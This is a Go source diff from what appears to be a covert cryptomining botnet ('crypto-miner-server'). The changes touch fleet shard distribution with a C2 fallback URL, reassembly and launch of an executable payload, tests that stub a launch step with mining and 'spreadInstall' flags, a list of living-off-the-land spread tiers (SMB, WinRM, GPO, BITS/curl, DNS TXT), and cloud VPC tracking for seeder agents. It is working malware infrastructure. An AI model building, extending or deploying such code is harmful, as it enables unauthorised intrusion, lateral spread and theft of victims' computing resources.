// PickLANNeighborPeers returns up to maxLAN peers on the same /24.
|
||||||
func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []ShardPeer {
|
func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []ShardPeer {
|
||||||
if maxLAN <= 0 {
|
if maxLAN <= 0 {
|
||||||
maxLAN = fleetTorrentMaxLANNeighbors
|
maxLAN = fleetTorrentMaxLANNeighbors
|
||||||
@@ -221,14 +200,15 @@ func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []S
|
|||||||
return out
|
return out
|
||||||
}
|
}
|
||||||
|
|
||||||
func FetchErasureShardFleet(token string, index int, c2URL, cloudFrontURL, localSubnet, localRegion string, dht *FleetShardDHT) ([]byte, error) {
|
// FetchErasureShardFleet tries LAN neighbors, cross-subnet peers, then C2 URL.
|
||||||
|
func FetchErasureShardFleet(token string, index int, c2URL, localSubnet string, dht *FleetShardDHT) ([]byte, error) {
|
||||||
if dht == nil {
|
if dht == nil {
|
||||||
dht = globalFleetDHT
|
dht = globalFleetDHT
|
||||||
}
|
}
|
||||||
if body, ok := dht.LocalShard(token, index); ok {
|
if body, ok := dht.LocalShard(token, index); ok {
|
||||||
return body, nil
|
return body, nil
|
||||||
}
|
}
|
||||||
peers := dht.PeersForShard(token, index, localSubnet, localRegion)
|
peers := dht.PeersForShard(token, index, localSubnet)
|
||||||
try := func(url string) ([]byte, error) {
|
try := func(url string) ([]byte, error) {
|
||||||
if url == "" {
|
if url == "" {
|
||||||
return nil, fmt.Errorf("empty url")
|
return nil, fmt.Errorf("empty url")
|
||||||
@@ -247,35 +227,18 @@ func FetchErasureShardFleet(token string, index int, c2URL, cloudFrontURL, local
|
|||||||
if localSubnet != "" && p.Subnet == localSubnet {
|
if localSubnet != "" && p.Subnet == localSubnet {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
if localRegion != "" && p.Region == localRegion {
|
|
||||||
if body, err := try(p.FetchURL); err == nil {
|
|
||||||
return body, nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
for _, p := range peers {
|
|
||||||
if localSubnet != "" && p.Subnet == localSubnet {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
if localRegion != "" && p.Region == localRegion {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
if body, err := try(p.FetchURL); err == nil {
|
if body, err := try(p.FetchURL); err == nil {
|
||||||
return body, nil
|
return body, nil
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if cloudFrontURL != "" {
|
|
||||||
if body, err := try(cloudFrontURL); err == nil {
|
|
||||||
return body, nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if c2URL != "" {
|
if c2URL != "" {
|
||||||
return try(c2URL)
|
return try(c2URL)
|
||||||
}
|
}
|
||||||
return nil, fmt.Errorf("fleet torrent: no shard source for %s/%d", token, index)
|
return nil, fmt.Errorf("fleet torrent: no shard source for %s/%d", token, index)
|
||||||
}
|
}
|
||||||
|
|
||||||
func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2BaseURL, localSubnet, localRegion string) (string, error) {
|
// RunFleetTorrentStaging reassembles via fleet DHT peers with C2 super-seeder fallback.
|
||||||
|
func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2BaseURL, localSubnet string) (string, error) {
|
||||||
if !plan.Enabled || len(plan.Shards) == 0 {
|
if !plan.Enabled || len(plan.Shards) == 0 {
|
||||||
return "", fmt.Errorf("erasure plan disabled or empty")
|
return "", fmt.Errorf("erasure plan disabled or empty")
|
||||||
}
|
}
|
||||||
@@ -311,15 +274,7 @@ func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2Ba
|
|||||||
if c2 != "" && !strings.HasPrefix(c2URL, "http") {
|
if c2 != "" && !strings.HasPrefix(c2URL, "http") {
|
||||||
c2URL = fmt.Sprintf("%s/api/v1/public/erasure-shard/%s/%d", c2, plan.ShardToken, ref.Index)
|
c2URL = fmt.Sprintf("%s/api/v1/public/erasure-shard/%s/%d", c2, plan.ShardToken, ref.Index)
|
||||||
}
|
}
|
||||||
region := localRegion
|
body, err := FetchErasureShardFleet(plan.ShardToken, ref.Index, c2URL, localSubnet, dht)
|
||||||
if region == "" {
|
|
||||||
region = strings.TrimSpace(cfg.AwsS3ShardRegion)
|
|
||||||
}
|
|
||||||
cfURL := cloudFrontShardURL(cfg.AwsCloudFrontDomain, plan.ShardToken, region, ref.Index, dht.ShardContentHash(plan.ShardToken, ref.Index))
|
|
||||||
if edge := strings.TrimSpace(ref.EdgeURL); edge != "" {
|
|
||||||
cfURL = edge
|
|
||||||
}
|
|
||||||
body, err := FetchErasureShardFleet(plan.ShardToken, ref.Index, c2URL, cfURL, localSubnet, localRegion, dht)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
@@ -358,7 +313,8 @@ func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2Ba
|
|||||||
return "fleet_torrent: " + msg, nil
|
return "fleet_torrent: " + msg, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func IngestErasureShardsForSeeder(plan ErasurePlanBody, region string, fetchFn func(url string) ([]byte, error)) []FleetGossipRecord {
|
// IngestErasureShardsForSeeder stores shards and prepares gossip advertisements for primary seeders.
|
||||||
|
func IngestErasureShardsForSeeder(plan ErasurePlanBody, fetchFn func(url string) ([]byte, error)) []FleetGossipRecord {
|
||||||
if fetchFn == nil {
|
if fetchFn == nil {
|
||||||
fetchFn = fetchErasureShardHTTP
|
fetchFn = fetchErasureShardHTTP
|
||||||
}
|
}
|
||||||
@@ -369,33 +325,40 @@ func IngestErasureShardsForSeeder(plan ErasurePlanBody, region string, fetchFn f
|
|||||||
if err != nil || len(body) == 0 {
|
if err != nil || len(body) == 0 {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
hash := shardContentHash(body)
|
|
||||||
dht.StoreLocalShard(plan.ShardToken, ref.Index, body)
|
dht.StoreLocalShard(plan.ShardToken, ref.Index, body)
|
||||||
records = append(records, FleetGossipRecord{
|
records = append(records, FleetGossipRecord{
|
||||||
Kind: FleetGossipHaveShard, Token: plan.ShardToken, ShardIndex: ref.Index,
|
Kind: FleetGossipHaveShard,
|
||||||
ShardHash: hash, Region: strings.TrimSpace(region),
|
Token: plan.ShardToken,
|
||||||
ShardAdvert: FormatShardAdvert(region, ref.Index), FetchURL: ref.URL, Healthy: true,
|
ShardIndex: ref.Index,
|
||||||
|
ShardHash: shardContentHash(body),
|
||||||
|
FetchURL: ref.URL,
|
||||||
|
Healthy: true,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
return records
|
return records
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// StartFleetTorrentReplication runs background shard re-replication for primary seeders.
|
||||||
func StartFleetTorrentReplication(cfg config.RuntimeConfig, plan ErasurePlanBody, gossipFn func([]FleetGossipRecord)) {
|
func StartFleetTorrentReplication(cfg config.RuntimeConfig, plan ErasurePlanBody, gossipFn func([]FleetGossipRecord)) {
|
||||||
if !config.FleetTorrentEnabled(cfg) || !cfg.SubnetPrimarySeeder || gossipFn == nil {
|
if !config.FleetTorrentEnabled(cfg) || !cfg.SubnetPrimarySeeder {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if gossipFn == nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
go func() {
|
go func() {
|
||||||
ticker := time.NewTicker(5 * time.Minute)
|
ticker := time.NewTicker(5 * time.Minute)
|
||||||
defer ticker.Stop()
|
defer ticker.Stop()
|
||||||
for range ticker.C {
|
for range ticker.C {
|
||||||
region := ResolveLocalAWSRegion(cfg.AwsS3ShardRegion)
|
recs := IngestErasureShardsForSeeder(plan, fetchErasureShardHTTP)
|
||||||
if recs := IngestErasureShardsForSeeder(plan, region, fetchErasureShardHTTP); len(recs) > 0 {
|
if len(recs) > 0 {
|
||||||
gossipFn(recs)
|
gossipFn(recs)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// StartZeroServerReconnect attempts HTTPS dashboard reconnect every 30 minutes.
|
||||||
func StartZeroServerReconnect(reconnectFn func() error) {
|
func StartZeroServerReconnect(reconnectFn func() error) {
|
||||||
if reconnectFn == nil {
|
if reconnectFn == nil {
|
||||||
return
|
return
|
||||||
@@ -409,6 +372,7 @@ func StartZeroServerReconnect(reconnectFn func() error) {
|
|||||||
}()
|
}()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ParseSwarmMagnetToken extracts the erasure token from a swarm magnet tr= parameter.
|
||||||
func ParseSwarmMagnetToken(magnet string) string {
|
func ParseSwarmMagnetToken(magnet string) string {
|
||||||
magnet = strings.TrimSpace(magnet)
|
magnet = strings.TrimSpace(magnet)
|
||||||
if magnet == "" {
|
if magnet == "" {
|
||||||
@@ -424,6 +388,7 @@ func ParseSwarmMagnetToken(magnet string) string {
|
|||||||
return ""
|
return ""
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// FetchShardManifestHTTP loads shard bytes from a manifest URL entry.
|
||||||
func FetchShardManifestHTTP(manifestURL string) ([]byte, error) {
|
func FetchShardManifestHTTP(manifestURL string) ([]byte, error) {
|
||||||
if manifestURL == "" {
|
if manifestURL == "" {
|
||||||
return nil, fmt.Errorf("empty manifest url")
|
return nil, fmt.Errorf("empty manifest url")
|
||||||
|
|||||||
@@ -9,59 +9,19 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
func TestFleetShardDHTMergeAndFetch(t *testing.T) {
|
func TestFleetShardDHTMergeAndFetch(t *testing.T) {
|
||||||
dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string), local: make(map[string]map[int][]byte)}
|
dht := &FleetShardDHT{
|
||||||
|
peers: make(map[string]map[int][]ShardPeer),
|
||||||
|
healthy: make(map[string]bool),
|
||||||
|
local: make(map[string]map[int][]byte),
|
||||||
|
}
|
||||||
dht.MergeFleetGossipRecords([]FleetGossipRecord{{
|
dht.MergeFleetGossipRecords([]FleetGossipRecord{{
|
||||||
Kind: FleetGossipHaveShard, AgentID: "peer-a", Subnet: "10.1.2", Token: "tok1",
|
Kind: FleetGossipHaveShard,
|
||||||
ShardIndex: 0, FetchURL: "mock://shard0", Region: "us-east-1",
|
AgentID: "peer-a",
|
||||||
|
Subnet: "10.1.2",
|
||||||
|
Token: "tok1",
|
||||||
|
ShardIndex: 0,
|
||||||
|
FetchURL: "mock://shard0",
|
||||||
}})
|
}})
|
||||||
prev := erasureFetchFn
|
|
||||||
erasureFetchFn = func(url string) ([]byte, error) {
|
|
||||||
if url == "mock://shard0" {
|
|
||||||
return []byte("shard"), nil
|
|
||||||
}
|
|
||||||
return nil, nil
|
|
||||||
}
|
|
||||||
defer func() { erasureFetchFn = prev }()
|
|
||||||
body, err := FetchErasureShardFleet("tok1", 0, "mock://c2", "", "10.1.2", "us-east-1", dht)
|
|
||||||
if err != nil || string(body) != "shard" {
|
|
||||||
t.Fatalf("body=%v err=%v", body, err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestFetchErasureShardFleetRegionPriority(t *testing.T) {
|
|
||||||
dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string)}
|
|
||||||
dht.MergeFleetGossipRecords([]FleetGossipRecord{
|
|
||||||
{Kind: FleetGossipHaveShard, AgentID: "eu", Token: "t", ShardIndex: 0, Region: "eu-west-1", FetchURL: "mock://eu"},
|
|
||||||
{Kind: FleetGossipHaveShard, AgentID: "us", Token: "t", ShardIndex: 0, Region: "us-east-1", FetchURL: "mock://us"},
|
|
||||||
})
|
|
||||||
prev := erasureFetchFn
|
|
||||||
var got string
|
|
||||||
erasureFetchFn = func(url string) ([]byte, error) { got = url; return []byte("x"), nil }
|
|
||||||
defer func() { erasureFetchFn = prev }()
|
|
||||||
_, err := FetchErasureShardFleet("t", 0, "", "", "10.9.9", "us-east-1", dht)
|
|
||||||
if err != nil || got != "mock://us" {
|
|
||||||
t.Fatalf("got=%q err=%v", got, err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestFetchErasureShardFleetCloudFrontBeforeC2(t *testing.T) {
|
|
||||||
dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string)}
|
|
||||||
prev := erasureFetchFn
|
|
||||||
erasureFetchFn = func(url string) ([]byte, error) {
|
|
||||||
if url == "mock://cf" {
|
|
||||||
return []byte("cf"), nil
|
|
||||||
}
|
|
||||||
return nil, nil
|
|
||||||
}
|
|
||||||
defer func() { erasureFetchFn = prev }()
|
|
||||||
body, err := FetchErasureShardFleet("t", 0, "mock://c2", "mock://cf", "", "", dht)
|
|
||||||
if err != nil || string(body) != "cf" {
|
|
||||||
t.Fatalf("body=%s err=%v", body, err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestRunFleetTorrentStagingRoundtrip(t *testing.T) {
|
|
||||||
dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string), local: make(map[string]map[int][]byte)}
|
|
||||||
payload := []byte("fleet-torrent-roundtrip")
|
payload := []byte("fleet-torrent-roundtrip")
|
||||||
p := erasureParams{DataShards: 2, ParityShards: 1}
|
p := erasureParams{DataShards: 2, ParityShards: 1}
|
||||||
enc, _ := reedsolomon.New(p.DataShards, p.ParityShards)
|
enc, _ := reedsolomon.New(p.DataShards, p.ParityShards)
|
||||||
@@ -69,29 +29,79 @@ func TestRunFleetTorrentStagingRoundtrip(t *testing.T) {
|
|||||||
_ = enc.Encode(shards)
|
_ = enc.Encode(shards)
|
||||||
prev := erasureFetchFn
|
prev := erasureFetchFn
|
||||||
erasureFetchFn = func(url string) ([]byte, error) {
|
erasureFetchFn = func(url string) ([]byte, error) {
|
||||||
switch url {
|
if url == "mock://shard0" {
|
||||||
case "mock://0":
|
|
||||||
return shards[0], nil
|
return shards[0], nil
|
||||||
case "mock://1":
|
|
||||||
return shards[1], nil
|
|
||||||
case "mock://2":
|
|
||||||
return shards[2], nil
|
|
||||||
default:
|
|
||||||
return nil, nil
|
|
||||||
}
|
}
|
||||||
|
if url == "mock://c2" {
|
||||||
|
return shards[1], nil
|
||||||
|
}
|
||||||
|
return nil, nil
|
||||||
}
|
}
|
||||||
defer func() { erasureFetchFn = prev }()
|
defer func() { erasureFetchFn = prev }()
|
||||||
|
|
||||||
|
body, err := FetchErasureShardFleet("tok1", 0, "mock://c2", "10.1.2", dht)
|
||||||
|
if err != nil || string(body) != string(shards[0]) {
|
||||||
|
t.Fatalf("fetch=%v err=%v", body, err)
|
||||||
|
}
|
||||||
|
plan := ErasurePlanBody{
|
||||||
|
Enabled: true, Scheme: erasureSchemeReedSolomonV1,
|
||||||
|
DataShards: p.DataShards, ParityShards: p.ParityShards,
|
||||||
|
PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload),
|
||||||
|
ShardToken: "tok1", Dest: t.TempDir() + `\w.exe`, Launch: "exe",
|
||||||
|
Shards: []ErasureShardRef{
|
||||||
|
{Index: 0, URL: "mock://c2"},
|
||||||
|
{Index: 1, URL: "mock://c2"},
|
||||||
|
{Index: 2, URL: "mock://c2"},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
dht.MergeFleetGossipRecords([]FleetGossipRecord{{
|
||||||
|
Kind: FleetGossipHaveShard, AgentID: "peer-b", Subnet: "10.9.9",
|
||||||
|
Token: "tok1", ShardIndex: 1, FetchURL: "mock://shard1",
|
||||||
|
}})
|
||||||
|
erasureFetchFn = func(url string) ([]byte, error) {
|
||||||
|
switch url {
|
||||||
|
case "mock://shard0":
|
||||||
|
return shards[0], nil
|
||||||
|
case "mock://shard1":
|
||||||
|
return shards[1], nil
|
||||||
|
case "mock://c2":
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
prevLaunch := erasureLaunchFn
|
prevLaunch := erasureLaunchFn
|
||||||
erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) { return "ok", nil }
|
erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
|
||||||
|
return "ok", nil
|
||||||
|
}
|
||||||
defer func() { erasureLaunchFn = prevLaunch }()
|
defer func() { erasureLaunchFn = prevLaunch }()
|
||||||
SetFleetShardDHT(dht)
|
SetFleetShardDHT(dht)
|
||||||
plan := ErasurePlanBody{
|
msg, err := RunFleetTorrentStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||||
Enabled: true, Scheme: erasureSchemeReedSolomonV1, DataShards: p.DataShards, ParityShards: p.ParityShards,
|
FleetTorrentEnabled: true, WorkerName: "w",
|
||||||
PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload), ShardToken: "tok1",
|
}}, plan, "", "10.1.2")
|
||||||
Dest: t.TempDir() + `\w.exe`, Launch: "exe",
|
if err != nil {
|
||||||
Shards: []ErasureShardRef{{Index: 0, URL: "mock://0"}, {Index: 1, URL: "mock://1"}, {Index: 2, URL: "mock://2"}},
|
|
||||||
}
|
|
||||||
if _, err := RunFleetTorrentStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetTorrentEnabled: true}}, plan, "", "10.1.2", "us-east-1"); err != nil {
|
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
|
if msg == "" {
|
||||||
|
t.Fatal("empty msg")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPickLANNeighborPeersCapsAtThree(t *testing.T) {
|
||||||
|
peers := []ShardPeer{
|
||||||
|
{AgentID: "a", Subnet: "10.0.0"},
|
||||||
|
{AgentID: "b", Subnet: "10.0.0"},
|
||||||
|
{AgentID: "c", Subnet: "10.0.0"},
|
||||||
|
{AgentID: "d", Subnet: "10.0.0"},
|
||||||
|
}
|
||||||
|
got := PickLANNeighborPeers(peers, "10.0.0", 3)
|
||||||
|
if len(got) != 3 {
|
||||||
|
t.Fatalf("len=%d", len(got))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseSwarmMagnetToken(t *testing.T) {
|
||||||
|
m := "magnet:?xt=urn:sha256:abc&dn=aetherforge-erasure-deadbeef&tr=urn:aetherforge:erasure:deadbeefcafe"
|
||||||
|
if tok := ParseSwarmMagnetToken(m); tok != "deadbeefcafe" {
|
||||||
|
t.Fatalf("token=%q", tok)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -19,7 +19,6 @@ var DefaultLotlOnionTiers = []string{
|
|||||||
"winrm",
|
"winrm",
|
||||||
"linux",
|
"linux",
|
||||||
"gpo",
|
"gpo",
|
||||||
"ssm_document",
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// NormalizeLotlTiers filters unknown ids and falls back to defaults when empty.
|
// NormalizeLotlTiers filters unknown ids and falls back to defaults when empty.
|
||||||
@@ -28,7 +27,7 @@ func NormalizeLotlTiers(raw []string) []string {
|
|||||||
"vuln_recon": {},
|
"vuln_recon": {},
|
||||||
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
|
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
|
||||||
"bits_curl": {}, "do_peer": {}, "wsus_cache_peer": {}, "dns_txt": {}, "webrtc_mesh": {},
|
"bits_curl": {}, "do_peer": {}, "wsus_cache_peer": {}, "dns_txt": {}, "webrtc_mesh": {},
|
||||||
"smb": {}, "winrm": {}, "linux": {}, "gpo": {}, "ssm_document": {},
|
"smb": {}, "winrm": {}, "linux": {}, "gpo": {},
|
||||||
}
|
}
|
||||||
out := make([]string, 0, len(raw))
|
out := make([]string, 0, len(raw))
|
||||||
for _, t := range raw {
|
for _, t := range raw {
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
@@ -9,7 +9,6 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
"crypto-miner-server/internal/alerts"
|
"crypto-miner-server/internal/alerts"
|
||||||
"crypto-miner-server/internal/erasure"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
type Config struct {
|
type Config struct {
|
||||||
@@ -108,20 +107,6 @@ type ServerSettings struct {
|
|||||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
||||||
// FleetTorrentEnabled enables content-addressed shard DHT gossip across seeders (cross-subnet).
|
// FleetTorrentEnabled enables content-addressed shard DHT gossip across seeders (cross-subnet).
|
||||||
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
|
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
|
||||||
AWSS3ShardBucket string `json:"aws_s3_shard_bucket,omitempty"`
|
|
||||||
AWSS3ShardRegion string `json:"aws_s3_shard_region,omitempty"`
|
|
||||||
AWSCloudFrontDomain string `json:"aws_cloudfront_domain,omitempty"`
|
|
||||||
AWSS3CRRDestBucket string `json:"aws_s3_crr_dest_bucket,omitempty"`
|
|
||||||
AWSS3CRRDestRegion string `json:"aws_s3_crr_dest_region,omitempty"`
|
|
||||||
AWSS3ReplicationRoleARN string `json:"aws_s3_replication_role_arn,omitempty"`
|
|
||||||
AWSAccountID string `json:"aws_account_id,omitempty"`
|
|
||||||
FargateBurstCampaign bool `json:"fargate_burst_campaign"`
|
|
||||||
FargateBurstTTLHours int `json:"fargate_burst_ttl_hours,omitempty"`
|
|
||||||
FargateBurstExpiresAt string `json:"fargate_burst_expires_at,omitempty"`
|
|
||||||
CloudMapNamespace string `json:"cloud_map_namespace,omitempty"`
|
|
||||||
CloudMapService string `json:"cloud_map_service,omitempty"`
|
|
||||||
PolicySnapshotToken string `json:"policy_snapshot_token,omitempty"`
|
|
||||||
EventBridgeRelayURL string `json:"eventbridge_relay_url,omitempty"`
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
|
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
|
||||||
@@ -1006,15 +991,6 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
|||||||
if in(srvKeys, "fleet_torrent_enabled") {
|
if in(srvKeys, "fleet_torrent_enabled") {
|
||||||
dst.Server.FleetTorrentEnabled = src.Server.FleetTorrentEnabled
|
dst.Server.FleetTorrentEnabled = src.Server.FleetTorrentEnabled
|
||||||
}
|
}
|
||||||
if in(srvKeys, "fargate_burst_campaign") {
|
|
||||||
dst.Server.FargateBurstCampaign = src.Server.FargateBurstCampaign
|
|
||||||
}
|
|
||||||
if in(srvKeys, "fargate_burst_ttl_hours") && src.Server.FargateBurstTTLHours > 0 {
|
|
||||||
dst.Server.FargateBurstTTLHours = src.Server.FargateBurstTTLHours
|
|
||||||
}
|
|
||||||
if in(srvKeys, "fargate_burst_expires_at") {
|
|
||||||
dst.Server.FargateBurstExpiresAt = src.Server.FargateBurstExpiresAt
|
|
||||||
}
|
|
||||||
if in(srvKeys, "ai_endpoint") {
|
if in(srvKeys, "ai_endpoint") {
|
||||||
dst.Server.AIEndpoint = src.Server.AIEndpoint
|
dst.Server.AIEndpoint = src.Server.AIEndpoint
|
||||||
}
|
}
|
||||||
@@ -1132,32 +1108,6 @@ func defaultServiceDeployAllowlist() map[string]ServiceDeployLane {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (c *Config) AWSSwarmSettings() erasure.AWSSwarmSettings {
|
|
||||||
if c == nil {
|
|
||||||
return erasure.HydrateAWSSwarmFromEnv(erasure.AWSSwarmSettings{})
|
|
||||||
}
|
|
||||||
return erasure.HydrateAWSSwarmFromEnv(erasure.AWSSwarmSettings{
|
|
||||||
S3Bucket: c.Server.AWSS3ShardBucket,
|
|
||||||
CloudFrontDomain: c.Server.AWSCloudFrontDomain,
|
|
||||||
Region: c.Server.AWSS3ShardRegion,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func (c *Config) S3ShardCRRConfig() erasure.S3ShardConfig {
|
|
||||||
if c == nil {
|
|
||||||
return erasure.S3ShardConfig{}
|
|
||||||
}
|
|
||||||
return erasure.S3ShardConfig{
|
|
||||||
ShardBucket: strings.TrimSpace(c.Server.AWSS3ShardBucket),
|
|
||||||
ShardRegion: strings.TrimSpace(c.Server.AWSS3ShardRegion),
|
|
||||||
CRRDestBucket: strings.TrimSpace(c.Server.AWSS3CRRDestBucket),
|
|
||||||
CRRDestRegion: strings.TrimSpace(c.Server.AWSS3CRRDestRegion),
|
|
||||||
CloudFrontDomain: strings.TrimSpace(c.Server.AWSCloudFrontDomain),
|
|
||||||
ReplicationRoleARN: strings.TrimSpace(c.Server.AWSS3ReplicationRoleARN),
|
|
||||||
ReplicationAccountID: strings.TrimSpace(c.Server.AWSAccountID),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (c *Config) PoolURL() string {
|
func (c *Config) PoolURL() string {
|
||||||
proto := "stratum+tcp"
|
proto := "stratum+tcp"
|
||||||
if c.Pool.UseTLS {
|
if c.Pool.UseTLS {
|
||||||
|
|||||||
92
server/internal/api/cloud_instance_meta.go
Normal file
92
server/internal/api/cloud_instance_meta.go
Normal file
@@ -0,0 +1,92 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/models"
|
||||||
|
)
|
||||||
|
|
||||||
|
type CloudInstanceMeta struct {
|
||||||
|
VpcID string `json:"vpc_id,omitempty"`
|
||||||
|
SubnetID string `json:"subnet_id,omitempty"`
|
||||||
|
Region string `json:"region,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m CloudInstanceMeta) present() bool {
|
||||||
|
return strings.TrimSpace(m.VpcID) != "" || strings.TrimSpace(m.SubnetID) != "" || strings.TrimSpace(m.Region) != ""
|
||||||
|
}
|
||||||
|
|
||||||
|
func normalizeCloudInstanceMeta(m CloudInstanceMeta) CloudInstanceMeta {
|
||||||
|
return CloudInstanceMeta{
|
||||||
|
VpcID: strings.TrimSpace(m.VpcID), SubnetID: strings.TrimSpace(m.SubnetID), Region: strings.TrimSpace(m.Region),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *WSHub) storeAgentCloudMeta(agentID string, meta CloudInstanceMeta) {
|
||||||
|
meta = normalizeCloudInstanceMeta(meta)
|
||||||
|
if !meta.present() {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
h.mu.Lock()
|
||||||
|
tel, ok := h.agentLiveTelemetry[agentID]
|
||||||
|
if !ok {
|
||||||
|
tel = map[string]interface{}{}
|
||||||
|
h.agentLiveTelemetry[agentID] = tel
|
||||||
|
}
|
||||||
|
tel["cloud_instance_meta"] = map[string]interface{}{
|
||||||
|
"vpc_id": meta.VpcID, "subnet_id": meta.SubnetID, "region": meta.Region,
|
||||||
|
}
|
||||||
|
h.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *WSHub) agentCloudMetaLocked(agentID string) CloudInstanceMeta {
|
||||||
|
if tel, ok := h.agentLiveTelemetry[agentID]; ok {
|
||||||
|
if raw, ok := tel["cloud_instance_meta"].(map[string]interface{}); ok {
|
||||||
|
meta := CloudInstanceMeta{}
|
||||||
|
if v, ok := raw["vpc_id"].(string); ok {
|
||||||
|
meta.VpcID = v
|
||||||
|
}
|
||||||
|
if v, ok := raw["subnet_id"].(string); ok {
|
||||||
|
meta.SubnetID = v
|
||||||
|
}
|
||||||
|
if v, ok := raw["region"].(string); ok {
|
||||||
|
meta.Region = v
|
||||||
|
}
|
||||||
|
return normalizeCloudInstanceMeta(meta)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return CloudInstanceMeta{}
|
||||||
|
}
|
||||||
|
|
||||||
|
func primarySeederScope(clientIP string, meta CloudInstanceMeta) string {
|
||||||
|
if strings.TrimSpace(meta.VpcID) != "" {
|
||||||
|
return strings.TrimSpace(meta.VpcID)
|
||||||
|
}
|
||||||
|
return subnetPrefix24(clientIP)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *WSHub) agentMatchesPrimaryScopeLocked(agentID, scope string) bool {
|
||||||
|
meta := h.agentCloudMetaLocked(agentID)
|
||||||
|
if meta.VpcID != "" {
|
||||||
|
return meta.VpcID == scope
|
||||||
|
}
|
||||||
|
return subnetPrefix24(h.agentIPLocked(agentID)) == scope
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *WSHub) attachVPCSeederTelemetry(agent *models.Agent, agentID, _, role, primaryPick string) {
|
||||||
|
if agent == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
meta := h.agentCloudMetaLocked(agentID)
|
||||||
|
if !meta.present() {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
agent.CloudVpcID = meta.VpcID
|
||||||
|
agent.CloudSubnetID = meta.SubnetID
|
||||||
|
agent.CloudRegion = meta.Region
|
||||||
|
if role != "seeder" || primaryPick == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
primary := primaryPick == agentID
|
||||||
|
agent.VPCPrimarySeeder = &primary
|
||||||
|
}
|
||||||
@@ -1,7 +1,6 @@
|
|||||||
package api
|
package api
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
|
||||||
"crypto/hmac"
|
